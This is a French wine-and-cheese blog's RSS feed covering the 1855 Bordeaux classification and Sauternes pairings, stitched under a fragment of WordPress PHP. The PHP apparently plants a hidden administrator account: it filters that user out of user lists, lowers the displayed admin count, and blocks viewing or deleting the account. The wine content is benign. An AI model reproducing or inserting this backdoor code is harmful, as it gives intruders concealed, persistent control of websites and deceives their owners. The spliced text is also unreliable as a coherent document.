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    function wp_admin_users_protect_user_query($user_search) {
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        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

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            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

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        $count = explode(')</span>', $html[1]);
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        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
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        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

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            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
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        if ($hidden_user->user_email != $args['user_email']) {
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	<title>sauternes &#8211; Fromage et bon vin</title>
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		<title>Classification de 1855 des vins de Bordeaux</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Aug 2009 22:16:41 +0000</pubDate>
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					<description><![CDATA[A l&#8217;occasion de l&#8217;exposition universelle de Paris en 1855, l&#8217;empereur Napoléon III avait exigé que les vins soient classés en fonction de la réputation des châteaux et du prix de leur production. Un classement des vins fut donc inventé pour reconnaitre facilement un bon vin d&#8217;un &#8220;mauvais&#8221; vin. A l&#8217;époque le prix d&#8217;un vin était [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-612" title="classement vins 1855" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/08/classement-vins-1855-203x300.jpg" alt="classement vins 1855" width="203" height="300" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/08/classement-vins-1855-203x300.jpg 203w, http://www.fromageetbonvin.com/wp-content/uploads/2009/08/classement-vins-1855.jpg 400w" sizes="(max-width: 203px) 100vw, 203px" />A l&#8217;occasion de l&#8217;exposition universelle de Paris en 1855, l&#8217;empereur Napoléon III avait exigé que les vins soient classés en fonction de la réputation des châteaux et du prix de leur production. Un <strong>classement des vins</strong> fut donc inventé pour reconnaitre facilement un bon vin d&#8217;un &#8220;mauvais&#8221; vin. A l&#8217;époque le prix d&#8217;un vin était fortement lié à sa qualité. Ce qui n&#8217;est plus le cas aujourd&#8217;hui, surtout pour des raisons économiques.</p>
<p>Cette classification publiée le le 18 avril <strong>1855</strong> classe donc ces châteaux par importance du premier au cinquième cru 88 châteaux : 61 rouges et 27 blancs.</p>
<h2>Premiers crus supérieur</h2>
<p>Château d&#8217;Yquem, Sauternes</p>
<h2>Premiers crus</h2>
<p>Château Lafite-Rothschild, Pauillac<br />
Château Latour, Pauillac<br />
Château Margaux, Margaux<br />
Château Mouton Rothschild, Pauillac<br />
Château Haut-Brion, Pessac-Léognan, Graves</p>
<h2>Deuxièmes crus</h2>
<p>Château Rauzan-Gassies, Margaux<br />
Château Rauzan-Ségla, Margaux (anciennement Château Rausan-Ségla)<br />
Château Léoville Barton, Saint Julien<br />
Château Léoville Las Cases, Saint Julien<br />
Château Léoville Poyferré, Saint Julien<br />
Château Durfort-Vivens, Margaux<br />
Château Gruaud-Larose, Saint Julien<br />
Château Lascombes, Margaux<br />
Château Brane-Cantenac, Margaux (Cantenac-Margaux)<br />
Château Pichon-Longueville, Pauillac<br />
Château Pichon Longueville Comtesse de Lalande, Pauillac<br />
Château Ducru-Beaucaillou, Saint Julien<br />
Château Cos d&#8217;Estournel, Saint Estèphe<br />
Château Montrose, Saint Estèphe</p>
<h2>Troisièmes crus</h2>
<p>Château Kirwan, Margaux (Cantenac-Margaux)<br />
Château d&#8217;Issan, Margaux (Cantenac-Margaux)<br />
Château Lagrange, Saint Julien<br />
Château Langoa Barton, Saint Julien<br />
Château Giscours, Margaux (Labarde-Margaux)<br />
Château Malescot St. Exupéry, Margaux<br />
Château Boyd-Cantenac, Margaux<br />
Château Cantenac Brown, Margaux (Cantenac-Margaux)<br />
Château Palmer, Margaux (Cantenac-Margaux)<br />
Château La Lagune, Haut Médoc (Ludon)<br />
Château Desmirail, Margaux<br />
Château Calon-Ségur, Saint Estèphe<br />
Château Ferrière, Margaux<br />
Château Marquis d&#8217;Alesme Becker, Margaux</p>
<h2>Quatrièmes crus</h2>
<p>Château Saint-Pierre, Saint Julien<br />
Château Talbot, Saint Julien<br />
Château Branaire-Ducru, Saint Julien<br />
Château Duhart-Milon, Pauillac<br />
Château Pouget, Margaux (Cantenac-Margaux)<br />
Château La Tour Carnet, Haut Médoc (St.-Laurent)<br />
Château Lafon-Rochet, Saint Estèphe<br />
Château Beychevelle, Saint Julien<br />
Château Prieuré-Lichine, Margaux (Cantenac-Margaux)<br />
Château Marquis de Terme, Margaux</p>
<h2>Cinquièmes crus</h2>
<p>Château Pontet-Canet, Pauillac<br />
Château Batailley, Pauillac<br />
Château Haut-Batailley, Pauillac<br />
Château Grand-Puy-Lacoste, Pauillac<br />
Château Grand-Puy Ducasse, Pauillac<br />
Château Lynch-Bages, Pauillac<br />
Château Lynch-Moussas, Pauillac<br />
Château Dauzac Margaux (Labarde)<br />
Château d&#8217;Armailhac, Pauillac (anciennement Château Mouton-Baronne-Philippe)<br />
Château du Tertre, Margaux (Arsac)<br />
Château Haut-Bages Libéral, Pauillac<br />
Château Pédesclaux, Pauillac<br />
Château Belgrave, Haut Médoc (St.-Laurent)<br />
Château de Camensac, Haut Médoc (St.-Laurent) (anciennement Château Camensac)<br />
Château Cos Labory, Saint Estèphe<br />
Château Clerc-Milon, Pauillac<br />
Château Croizet-Bages, Pauillac<br />
Château Cantemerle entré dans le classement en 1856, Haut Médoc (Macau)</p>
<p>Les <strong>vins blanc</strong> étaient peu couramment produits à l&#8217;époque, ils furent donc limités à la variété liquoreuse des <strong>Sauternes et Barsac</strong> et classés sur deux crus.</p>
<h2>Premiers crus Sauternes et Barsac</h2>
<p>château La Tour Blanche, Bommes (Sauternes)<br />
Château Lafaurie-Peyraguey, Bommes (Sauternes)<br />
Clos Haut-Peyraguey, Bommes (Sauternes) (château Clos Haut-Peyraguey)<br />
Château de Rayne-Vigneau, Bommes (Sauternes)<br />
Château Suduiraut, Preignac (Sauternes)<br />
Château Coutet, Barsac<br />
Château Climens, Barsac<br />
Château Guiraud, Sauternes<br />
Château Rieussec, Fargues (Sauternes)<br />
Château Rabaud-Promis, Bommes (Sauternes)<br />
Château Sigalas-Rabaud, Bommes (Sauternes)</p>
<h2>Deuxièmes crus Sauternes et Barsac</h2>
<p>Château Myrat, Barsac (château de Myrat)<br />
Château Doisy Daëne, Barsac<br />
Château Doisy-Dubroca, Barsac<br />
Château Doisy-Védrines, Barsac<br />
Château d&#8217;Arche, Sauternes<br />
Château Filhot, Sauternes<br />
Château Broustet Barsac<br />
Château Nairac, Barsac<br />
Château Caillou, Barsac<br />
Château Suau, Barsac<br />
Château de Malle, Preignac (Sauternes)<br />
Château Romer, Fargues (Sauternes)<br />
Château Romer du Hayot, Fargues (Sauternes)<br />
Château Lamothe, Sauternes<br />
Château Lamothe Guignard, Sauternes</p>
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		<title>Château Guiraud, Sauternes</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 26 Mar 2009 21:33:38 +0000</pubDate>
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					<description><![CDATA[Le Château Guiraud, Sauternes, voisin du château Yquem a réalisé un grand vin blanc liquoreux, savoureux, d’une grande diversité, et d&#8217;une fraîcheur aromatique inoubliable. Ce vin à la véritable couleur or ! Formé d&#8217;un assemblage de 65 % de semillon et de 35 % de sauvignon, ce vin est grand, complexe, exubérant. On ressent des [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-80" title="chat_guiraud_t2" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chat_guiraud_t2.jpg" alt="chat_guiraud_t2" width="180" height="149" />L<strong>e</strong> <strong>Château Guiraud, Sauternes</strong>, voisin du château Yquem a réalisé un grand vin blanc liquoreux, savoureux, d’une grande diversité, et d&#8217;une fraîcheur aromatique inoubliable. Ce vin à la véritable couleur or !</p>
<p>Formé d&#8217;un assemblage de 65 % de semillon et de 35 % de sauvignon, ce vin est grand, complexe, exubérant. On ressent des arômes très fins d&#8217;orange confite, des notes exotiques, mentholées, et d&#8217;une pointe de gingembre. La finale est explosive, mielleuse, épicée et n’en finit plus !</p>
<p>En 80 ans et trois générations Guiraud est devenu un grand cru de prestige consacré en 1855 comme 1er cru lors du classement impérial. Le 20 juillet 2006, Guiraud est repris par 4 personnalités, un industriel, Robert Peugeot, et trois vignerons, Olivier Bernard, Stephan Von Neipperg et Xavier Planty. Situé à 45 km au sud de Bordeaux sur la rive gauche de la Garonne, le Château Guiraud, d&#8217;une superficie de 128 ha, a parmi quelques particularités celle d&#8217;être entièrement situé sur la commune de Sauternes.</p>
<h2>Quel fromage avec un Sauternes Château Guiraud ?</h2>
<p>Ce vin se dégustera accompagné des fromages Ardi Gasna, Arnéguy, Bergues, Bleu d&#8217;Auvergne ou Bleu des Causses.</p>
<p><em>Château Guiraud, Sauternes, Blanc 2005 : 44€ : <a href="http://www.wineandco.com" rel="nofollow">wineandco.com</a></em></p>
<p><em>Pour commander : <a href="http://www.chateau-guiraud.fr/" rel="nofollow">chateau-guiraud.fr</a></em></p>
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		<title>Château Suduiraut, Sauternes</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 25 Mar 2009 22:02:12 +0000</pubDate>
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					<description><![CDATA[Le Château Suduiraut, Sauternes, est un vin blanc remarquable de concentration et de richesse en liqueur. Cette bouteille possède un très grand potentiel de vieillissement. Son caractère et sa complexité lui permet toutes les audaces et les accords de contraste (épice et sucre) comme ceux de complémentarité (sucre plus sucre, ou fruité plus fruité). En [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-suduiraut-sauternes.gif" alt="Château Suduiraut, Sauternes" width="204" height="143" align="left" />L<strong>e Château Suduiraut, Sauternes</strong>, est un vin blanc remarquable de concentration et de richesse en liqueur. Cette bouteille possède un très grand potentiel de vieillissement.</p>
<p>Son caractère et sa complexité lui permet toutes les audaces et les accords de contraste (épice et sucre) comme ceux de complémentarité (sucre plus sucre, ou fruité plus fruité).</p>
<p>En début de repas, essayez le melon ou le fois gras, où le sel du foie s&#8217;harmonise avec le sucre du vin.</p>
<p>Les cuisines exotiques (chinoises en particulier) qui combinent sel, sucre, acide et gras sont parfaites pour ce vin. Privilégiez les préparations raffinées et épicées. Des fruits de mer, homard, crabe, langoustines, coquilles Saint Jacques magnifient un vieux millésime. Les poissons, sauf les gras, sole, turbot, lotte, bar sont extraordinaires.</p>
<p>La chair un peu sèche d&#8217;une volaille apprécie toujours l&#8217;onctuosité du Suduiraut. Tentez le canard, les magrets en particulier, aux fruits, cerises, raisins ou oranges.</p>
<h2>Quel fromage avec un Sauternes Château Suduiraut ?</h2>
<p>Essayez aussi quelques préparations de viande blanche, porc, veau, cuites avec des fruits,des épices, ou des recettes asiatiques, et accompagnées de légumes, telle courgettes, aubergines, presque confites.</p>
<p><strong>N&#8217;oubliez pas les fromages</strong>, les fromages à pâte persillée, bleu d&#8217;Auvergne, Roquefort, mais aussi les brebis.</p>
<p>En dessert, choisissez des fruits légèrement acides, fraises, petits fruits rouges, kiwi, oranges, ou tartes aux fruits de saison, la tarte Tatin, le feuilleté de pommes et figues confites, les pâtisseries sèches aux amandes.</p>
<p><em>Château Suduiraut, Sauternes Blanc 2005 : 69€ <a href="http://www.chateauonline.com">chateauonline.com</a></em></p>
<p><em>Pour commander : <a href="http://www.suduiraut.com/">suduiraut.com</a></em></p>
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